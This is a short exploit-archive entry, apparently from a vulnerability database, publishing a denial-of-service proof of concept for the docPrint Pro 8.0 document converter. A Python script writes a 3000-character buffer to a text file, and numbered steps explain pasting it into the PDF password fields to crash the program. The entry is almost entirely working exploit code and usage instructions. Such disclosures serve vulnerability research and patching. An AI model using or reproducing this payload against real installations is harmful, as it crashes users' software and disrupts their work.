发布 2019-05-20 漏洞条目

docPrint Pro 8.0 – Denial of Service (PoC)

Exploit Source

# -*- coding: utf-8 -*-

# Exploit Title: Document Converter (docPrint Pro) v8.0 - Denial of Service (PoC)

# Date: 19/05/2019

# Author: Alejandra Sánchez

# Vendor Homepage: http://www.verypdf.com

# Software: http://dl.verypdf.net/docprint_pro_setup.exe

# Version: 8.0

# Tested on: Windows 10

# Proof of Concept:

# 1.- Run the python script "DocConverter.py", it will create a new file "DocConverter.txt"

# 2.- Copy the text from the generated DocConverterr.txt file to clipboard

# 3.- Open docPrint Document Converter

# 4.- Go to 'Setting' > 'PDF Security'

# 5.- Mark 'Encrypt PDF File' and paste clipboard in the field 'User Password' or the field 'Master Password' and Click 'OK'

# 6.- Click on 'Add File(s)', and select a supported file, e.g. 'sample.doc'

# 7.- Click on 'Start', you will see a crash

buffer = "\x41" * 3000

f = open ("DocConverter.txt", "w")

f.write(buffer)

f.close()

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